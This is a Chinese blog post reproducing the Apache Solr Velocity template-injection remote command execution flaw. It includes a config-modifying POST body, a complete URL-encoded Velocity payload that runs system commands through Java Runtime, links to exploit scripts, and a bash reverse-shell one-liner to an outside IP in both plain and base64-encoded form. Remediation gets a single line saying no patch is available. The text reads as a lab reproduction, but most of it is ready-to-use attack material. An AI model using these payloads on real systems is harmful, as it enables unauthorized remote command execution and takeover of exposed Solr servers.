模版报错_Apache Solr Velocity模版注入远程命令执行漏洞复线

0X01 漏洞概述

Apache Solr 是一个开源的搜索服务器。Solr使用Java语言开发,主要基于HTTP和ApacheLucene 实现。原理大致是文档通过Http利用XML加到一个搜索集合中。查询该集合也是通过 http收到一个XML/JSON响应来实现。

10月31日,安全研究员S00pY在GitHub发布了ApacheSolr Velocity模版注入远程命令执行的POC,经过其他安全团队和人员的验证和复线,此漏洞已经能够被批量利用。

0X02 环境搭建

方法一:下载源码

https://mirrors.tuna.tsinghua.edu.cn/apache/lucene/solr/

解压之后,不能直接启动,需要配置java环境变量,可参考之前的文章或者自行度娘。创建实例:

sudo ./solr create_core -c alice -d../example/example-DIH/solr/db –force

1b6e021003afbdcada50400d5bd1ee0c.png

然后,启动环境

5c3d0d562286efb617517d646b72005b.png

浏览器访问环境

http://172.16.1.137:8983/solr/#/

b12561c921b613f613318f0daea2818d.png

要获取相应的实例的路径,单击左侧的Core Admin即可知道相应的实例。

93316ee832753d198ec15c28dd7e3e7f.png

每个实例下都有相应的config配置信息,可以直接访问查看

http://172.16.1.137:8983/solr/alice/config

bc950c8d8a7e6f81b6b81e1888474ca5.png

访问config文件,Post提交以下数据:

{ "update-queryresponsewriter": {   "startup": "lazy",   "name": "velocity",   "class": "solr.VelocityResponseWriter",    "template.base.dir":"",   "solr.resource.loader.enabled": "true",   "params.resource.loader.enabled": "true"  }}

650648d30dafd8feccf89a1f1367f4f7.png

9f2006dbb038d417b25d16cdbe5fe850.png

f8ae883957029304bdf2fca7edd16656.png

这里要注意,数据格式一定要按照json发送,如果不对的话,很容易返回500或者400的bad request错误,如下:

70e0dd1494b036dbfd987374c5b991a2.png

0f82615a4563e6741ba256100e8bff47.png

所以,这里发包的时候,如果不正确,请多尝试几次。

方法二:通过docker搭建,可以直接search,方便省事的话,可以直接用vulhub上phith0n写好的docker拉取,方法按照如下链接步骤操作

https://github.com/vulhub/vulhub/tree/master/solr/CVE-2019-0193

这里不在赘述。完成之后还是像上面一样bp发送数据修改配置。这样环境搭建基本完成了。

0X03 漏洞利用

当solr默认插件VelocityResponseWrite中

params.resource.loader.enabled参数值为true(默认false),再通过精心构造的get请求即可RCE。如果存在solr未授权访问,可post直接修改params.resource.loader.enabled参数值为true。所以,在上一步我们经过post提交数据已经修改了这两项参数值,所以目前漏洞是可以触发的。

s00py给出了poc数据,链接如下:

https://gist.githubusercontent.com/s00py/a1ba36a3689fa13759ff910e179fc133/raw/fae5e663ffac0e3996fd9dbb89438310719d347a/gistfile1.txt

adb11e0657719422c919f286f39a127b.png

访问链接,执行利用操作

http://172.16.1.137:8983/solr/alice/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27id%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end

执行结果

82732eec95b2c694e5b8db74f9dee6ba.png

github上已经有很多研究人员放出漏洞利用脚本,如下等

https://github.com/theLSA/solr-rcehttps://github.com/Eth4nHunt/Apache-Solr-RCE

使用其中一个,即可获取cmdshell:

ab30467388afc1584842e5a3ad38ba75.png

在其他互联网环境的服务器上测试的时候,反弹shell很容易被分割中断,报错,命令如下:

bash -i >&/dev/tcp/45.32.2XX.XX/45670 >&1

但由于Runtime不能使用管道符等bash方法,所以需要进行编码

bash -c{echo,YmFzaCAtaSA+Ji9kZXYvdGNwLzQ1LjMyLjIyMy4zMy80NTY3IDA+JjE=}|{base64,-d}|{bash,-i}

按照phith0n的解释:

0b2fa69120842cef62e5f7fd93dac55e.png

具体详情解释参考

https://zsxq.tricking.io/topic/501/

编码之后,我们再次测试,可以成功获取shell

dfa79f4ad003f2de3bcab2ee1ba8f7c5.png

0X04 加固修复

官网暂未发布相关漏洞补丁,及时关注官网更新。

http://lucene.apache.org/solr/downloads.html

0X05 参考链接

https://nosec.org/home/detail/3113.html

https://www.anquanke.com/post/id/190039

https://zsxq.tricking.io/topic/501/

https://gist.githubusercontent.com/s00py/a1ba36a3689fa13759ff910e179fc133/raw/fae5e663ffac0e3996fd9dbb89438310719d347a/gistfile1.txt

https://github.com/shadow-horse/Apache-Solr-Velocity-RCE

9b5657e4760021918c66a9608473953c.png

cvebug@163.com

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值